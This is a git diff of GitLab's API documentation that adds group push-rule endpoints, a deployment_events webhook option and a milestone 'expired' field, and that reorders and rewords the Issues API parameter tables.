+| ----- | ----------- |
+| `approval_required` | |
+| `assigned` | |
+| `build_failed` | |
+| `directly_addressed` | |
+| `marked` | |
+| `mentioned` | |
+| `unmergeable` | |
+
+### TodoStateEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `done` | |
+| `pending` | |
+
+### TodoTargetEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `ALERT` | An Alert |
+| `COMMIT` | A Commit |
+| `DESIGN` | A Design |
+| `EPIC` | An Epic |
+| `ISSUE` | An Issue |
+| `MERGEREQUEST` | A MergeRequest |
+
+### TypeEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `personal` | |
+| `project` | |
+
+### UserState
+
+Possible states of a user.
+
+| Value | Description |
+| ----- | ----------- |
+| `active` | The user is active and is able to use the system |
+| `blocked` | The user has been blocked and is prevented from using the system |
+| `deactivated` | The user is no longer active and is unable to use the system |
+
+### VisibilityLevelsEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `internal` | |
+| `private` | |
+| `public` | |
+
+### VisibilityScopesEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `internal` | |
+| `private` | |
+| `public` | |
+
+### VulnerabilityGrade
+
+The grade of the vulnerable project.
+
+| Value | Description |
+| ----- | ----------- |
+| `A` | |
+| `B` | |
+| `C` | |
+| `D` | |
+| `F` | |
+
+### VulnerabilityIssueLinkType
+
+The type of the issue link related to a vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `CREATED` | |
+| `RELATED` | |
+
+### VulnerabilityReportType
+
+The type of the security scan that found the vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `CONTAINER_SCANNING` | |
+| `COVERAGE_FUZZING` | |
+| `DAST` | |
+| `DEPENDENCY_SCANNING` | |
+| `SAST` | |
+| `SECRET_DETECTION` | |
+
+### VulnerabilitySeverity
+
+The severity of the vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `CRITICAL` | |
+| `HIGH` | |
+| `INFO` | |
+| `LOW` | |
+| `MEDIUM` | |
+| `UNKNOWN` | |
+
+### VulnerabilitySort
+
+Vulnerability sort values.
+
+| Value | Description |
+| ----- | ----------- |
+| `severity_asc` | Severity in ascending order |
+| `severity_desc` | Severity in descending order |
+
+### VulnerabilityState
+
+The state of the vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `CONFIRMED` | |
+| `DETECTED` | |
+| `DISMISSED` | |
+| `RESOLVED` | |
diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md
index e992637f4f0..47350442b3e 100644
--- a/doc/api/group_milestones.md
+++ b/doc/api/group_milestones.md
@@ -55,6 +55,7 @@ Example Response:
"state": "active",
"updated_at": "2013-10-02T09:24:18Z",
"created_at": "2013-10-02T09:24:18Z",
+ "expired": false,
"web_url": "https://gitlab.com/groups/gitlab-org/-/milestones/42"
}
]
diff --git a/doc/api/groups.md b/doc/api/groups.md
index 07b2738f2d3..ae3300e24fb 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -847,7 +847,7 @@ Only available to group owners and administrators.
This endpoint either:
- Removes group, and queues a background job to delete all projects in the group as well.
-- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
```plaintext
DELETE /groups/:id
@@ -941,6 +941,7 @@ GET /groups/:id/hooks/:hook_id
"job_events": true,
"pipeline_events": true,
"wiki_page_events": true,
+ "deployment_events": true,
"enable_ssl_verification": true,
"created_at": "2012-10-12T17:04:47Z"
}
@@ -968,6 +969,7 @@ POST /groups/:id/hooks
| `job_events` | boolean | no | Trigger hook on job events |
| `pipeline_events` | boolean | no | Trigger hook on pipeline events |
| `wiki_page_events` | boolean | no | Trigger hook on wiki events |
+| `deployment_events` | boolean | no | Trigger hook on deployment events |
| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
@@ -994,6 +996,7 @@ PUT /groups/:id/hooks/:hook_id
| `job_events` | boolean | no | Trigger hook on job events |
| `pipeline_events` | boolean | no | Trigger hook on pipeline events |
| `wiki_events` | boolean | no | Trigger hook on wiki events |
+| `deployment_events` | boolean | no | Trigger hook on deployment events |
| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
@@ -1013,7 +1016,7 @@ DELETE /groups/:id/hooks/:hook_id
## Group Audit Events **(STARTER)**
-Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events-starter)
+Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events)
## Sync group with LDAP **(STARTER)**
@@ -1167,9 +1170,13 @@ DELETE /groups/:id/share/:group_id
## Push Rules **(STARTER)**
-### Get group push rules
+> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4.
-Get the [push rules](../user/group/index.md#group-push-rules-starter) of a group.
+### Get group push rules **(STARTER)**
+
+Get the [push rules](../user/group/index.md#group-push-rules) of a group.
+
+Only available to group owners and administrators.
```plaintext
GET /groups/:id/push_rule
@@ -1207,3 +1214,111 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters:
...
}
```
+
+### Add group push rule **(STARTER)**
+
+Adds [push rules](../user/group/index.md#group-push-rules) to the specified group.
+
+Only available to group owners and administrators.
+
+```plaintext
+POST /groups/:id/push_rule
+```
+
+| Attribute | Type | Required | Description |
+| --------------------------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
+| `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits |
+| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected |
+| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
+| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` |
+| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
+| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
+| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` |
+| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed |
+| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed |
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
+```
+
+Response:
+
+```json
+{
+ "id": 19,
+ "created_at": "2020-08-31T15:53:00.073Z",
+ "commit_message_regex": "[a-zA-Z]",
+ "commit_message_negative_regex": "[x+]",
+ "branch_name_regex": null,
+ "deny_delete_tag": false,
+ "member_check": false,
+ "prevent_secrets": false,
+ "author_email_regex": "^[A-Za-z0-9.]+@gitlab.com$",
+ "file_name_regex": null,
+ "max_file_size": 100
+}
+```
+
+### Edit group push rule **(STARTER)**
+
+Edit push rules for a specified group.
+
+Only available to group owners and administrators.
+
+```plaintext
+PUT /groups/:id/push_rule
+```
+
+| Attribute | Type | Required | Description |
+| --------------------------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
+| `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only |
+| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected |
+| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
+| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` |
+| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
+| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
+| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` |
+| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed |
+| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed |
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
+```
+
+Response:
+
+```json
+{
+ "id": 19,
+ "created_at": "2020-08-31T15:53:00.073Z",
+ "commit_message_regex": "[a-zA-Z]",
+ "commit_message_negative_regex": "[x+]",
+ "branch_name_regex": null,
+ "deny_delete_tag": false,
+ "member_check": false,
+ "prevent_secrets": false,
+ "author_email_regex": "^[A-Za-z0-9.]+@staging.gitlab.com$",
+ "file_name_regex": null,
+ "max_file_size": 100
+}
+```
+
+### Delete group push rule **(STARTER)**
+
+Deletes the [push rules](../user/group/index.md#group-push-rules) of a group.
+
+Only available to group owners and administrators.
+
+```plaintext
+DELETE /groups/:id/push_rule
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
diff --git a/doc/api/issues.md b/doc/api/issues.md
index 478557e1cd1..d8249869cab 100644
--- a/doc/api/issues.md
+++ b/doc/api/issues.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Issues API
If a user is not a member of a project and the project is private, a `GET`
-request on that project will result in a `404` status code.
+request on that project results in a `404` status code.
## Issues pagination
@@ -17,12 +17,13 @@ are paginated.
Read more on [pagination](README.md#pagination).
CAUTION: **Deprecation:**
-> `reference` attribute in response is deprecated in favour of `references`.
-> Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354)
+The `reference` attribute in responses is deprecated in favor of `references`.
+Introduced in [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354).
NOTE: **Note:**
-> `references.relative` is relative to the group / project that the issue is being requested. When issue is fetched from its project
-> `relative` format would be the same as `short` format and when requested across groups / projects it is expected to be the same as `full` format.
+The `references.relative` attribute is relative to the group or project of the issue being requested.
+When an issue is fetched from its project, the `relative` format is the same as the `short` format,
+and when requested across groups or projects it's expected to be the same as the `full` format.
## List issues
@@ -49,30 +50,30 @@ GET /issues?confidential=true
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `state` | string | no | Return `all` issues or just those that are `opened` or `closed` |
-| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
-| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413)|
-| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
-| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`. Defaults to `created_by_me`<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
+| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. |
| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
-| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
-| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ |
-| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
+| `created_after` | datetime | no | Return issues created on or after the given time |
+| `created_before` | datetime | no | Return issues created on or before the given time |
+| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
+| `in` | string | no | Modify the scope of the `search` attribute. `title`, `description`, or a string joining them with comma. Default is `title,description` |
+| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
+| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
+| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ |
+| `non_archived` | boolean | no | Return issues only from non-archived projects. If `false`, the response returns issues from both archived and non-archived projects. Default is `true`. _(Introduced in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/197170))_ |
+| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji` |
| `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` |
-| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`. Defaults to `created_by_me`<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
| `search` | string | no | Search issues against their `title` and `description` |
-| `in` | string | no | Modify the scope of the `search` attribute. `title`, `description`, or a string joining them with comma. Default is `title,description` |
-| `created_after` | datetime | no | Return issues created on or after the given time |
-| `created_before` | datetime | no | Return issues created on or before the given time |
+| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `state` | string | no | Return `all` issues or just those that are `opened` or `closed` |
| `updated_after` | datetime | no | Return issues updated on or after the given time |
| `updated_before` | datetime | no | Return issues updated on or before the given time |
-| `confidential` | boolean | no | Filter confidential or public issues. |
-| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji` |
-| `non_archived` | boolean | no | Return issues only from non-archived projects. If `false`, response will return issues from both archived and non-archived projects. Default is `true`. _(Introduced in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/197170))_ |
-| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
+| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413)|
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/issues"
@@ -165,7 +166,7 @@ Example response:
]
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -179,7 +180,7 @@ the `weight` parameter:
]
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -193,15 +194,20 @@ the `health_status` parameter:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform
+to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
+This value is only present for issues closed after GitLab 10.6 and if the user account
+that closed the issue still exists.
## List group issues
Get a list of a group's issues.
-If the group is private, credentials will need to be provided for authorization.
+If the group is private, credentials need to be provided for authorization.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
@@ -223,30 +229,30 @@ GET /groups/:id/issues?confidential=true
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. |
+| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
+| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
+| `created_after` | datetime | no | Return issues created on or after the given time |
+| `created_before` | datetime | no | Return issues created on or before the given time |
+| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `state` | string | no | Return all issues or just those that are `opened` or `closed` |
-| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
-| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
+| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
-| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
-| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
-| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
-| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ |
-| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `non_archived` | boolean | no | Return issues from non archived projects. Default is true. _(Introduced in [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23785))_ |
+| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` |
| `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` |
-| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
| `search` | string | no | Search group issues against their `title` and `description` |
-| `created_after` | datetime | no | Return issues created on or after the given time |
-| `created_before` | datetime | no | Return issues created on or before the given time |
+| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `state` | string | no | Return all issues or just those that are `opened` or `closed` |
| `updated_after` | datetime | no | Return issues updated on or after the given time |
| `updated_before` | datetime | no | Return issues updated on or before the given time |
-| `confidential` | boolean | no | Filter confidential or public issues. |
-| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` |
-| `non_archived` | boolean | no | Return issues from non archived projects. Default is true. _(Introduced in [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23785))_ |
-| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
+| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4/issues"
@@ -338,7 +344,7 @@ Example response:
]
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -352,7 +358,7 @@ the `weight` parameter:
]
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -366,15 +372,19 @@ the `health_status` parameter:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
+This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## List project issues
Get a list of a project's issues.
-If the project is private, credentials will need to be provided for authorization.
+If the project is private, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
@@ -396,29 +406,29 @@ GET /projects/:id/issues?confidential=true
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE, the `assignee_username` array should only contain a single value. Otherwise, an invalid parameter error is returned. |
+| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
+| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
+| `confidential` | boolean | no | Filter confidential or public issues. |
+| `created_after` | datetime | no | Return issues created on or after the given time |
+| `created_before` | datetime | no | Return issues created on or before the given time |
+| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
-| `state` | string | no | Return all issues or just those that are `opened` or `closed` |
| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
